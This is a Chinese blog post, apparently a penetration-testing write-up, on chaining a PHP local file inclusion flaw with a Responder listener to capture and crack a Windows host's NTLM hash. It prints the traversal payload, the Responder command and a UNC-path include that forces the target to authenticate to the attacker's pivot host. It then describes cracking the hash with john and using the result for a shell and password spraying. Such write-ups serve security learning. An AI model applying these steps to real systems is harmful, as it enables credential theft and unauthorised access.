SMB窃取NTLMhash

背景

在打进内网之后,并且在隧道建立完毕的情况下,进行当前内网主机的一个探测,发现80端口的http服务存在一个文件包含漏洞,而且在前期内网信息收集的时候发现smb服务是开着的
(win系统)
先简单说一下这个文件包含漏洞,url中有一个page参数,借助文件包含漏洞,我们可以尝试读取系统中的敏感文件,比如hosts文件,win下的hosts文件在windows\system32\drivers\etc\hosts中,所以构造payload

1
?page=../../../../../../../../windows/system32/drivers/etc/hosts

页面回显如下

我们之所以会成功是因为index.php里包含include()这个方法,将会读取page这个参数的值,如果开发者没有进一步处理page参数所得到的值时,这个攻击就会成功
php include函数的示例如下

1
2
3
4
5
6
7
8
9
10
11
12
文件1:root.php
<?php
$color = 'green';
$fruit = 'apple';
?>
#############################################
文件2:test.php
<?php
echo "A $color $fruit"; // output = "A"
include 'root.php';
echo "A $color $fruit"; // output = "A green apple"
?>

当test.php包含(include)root.php后,color及fruit就被赋予值了

那么如何进一步利用呢?两种思路:一是写入或包含远程后门文件,做权限的维持;二是继续信息收集系统的账号密码信息,进行PTH等操作,我们先测试一下远程文件包含,我们知道远程文件包含还需要两个条件:allow_url_include、allow_url_fopen要为“ON”,而本地文件包含则不需要,测试一下,直接报错,说明不存在远程文件包含

1
?page=http://www.baidu.com

利用SMB窃取NTLM hash

SMB 协议支持 NTLM 和 LM 加密,我们通过恶意程序监听,在远程主机访问我们的 SMB 服务时,因为要进行身份验证,会发送相关信息,我们就可以获取目标主机的 hash 值,这个是为了账号密码的安全性,一般都不进行明文验证,而是使用摘要值进行比对,这样就给了攻击者机会,在不需要知道正确的账号密码的情况下,只要摘要值比对成功就可以登录
利用工具Responder,进行监听网卡,确定目标主机和跳板机在一个网段内,这个时候就体现了隧道的重要性了,我这里是tun0

1
Responder -I tun0

然后通过文件包含漏洞构造payload,并拼接访问url触发

1
?page=//跳板机IP/somefile

成功接收到服务器的的 NTLM 值,一般是第一次请求才会发送,然后会保存到本地,下次就不会再发送了

NTLM 碰撞获取可用账号密码

获取到 NTLM 值,下一步就是暴破了,将获取的值保存到一个文件中,然后用john进行破解碰撞,就获取到了账户和密码

拿到账户密码直接登录连接获取shell,并可以为后续的密码喷洒等工作做准备


SMB窃取NTLMhash
http://example.com/2024/03/05/SMB窃取NTLMhash/
作者
liuty
发布于
2024年3月5日
许可协议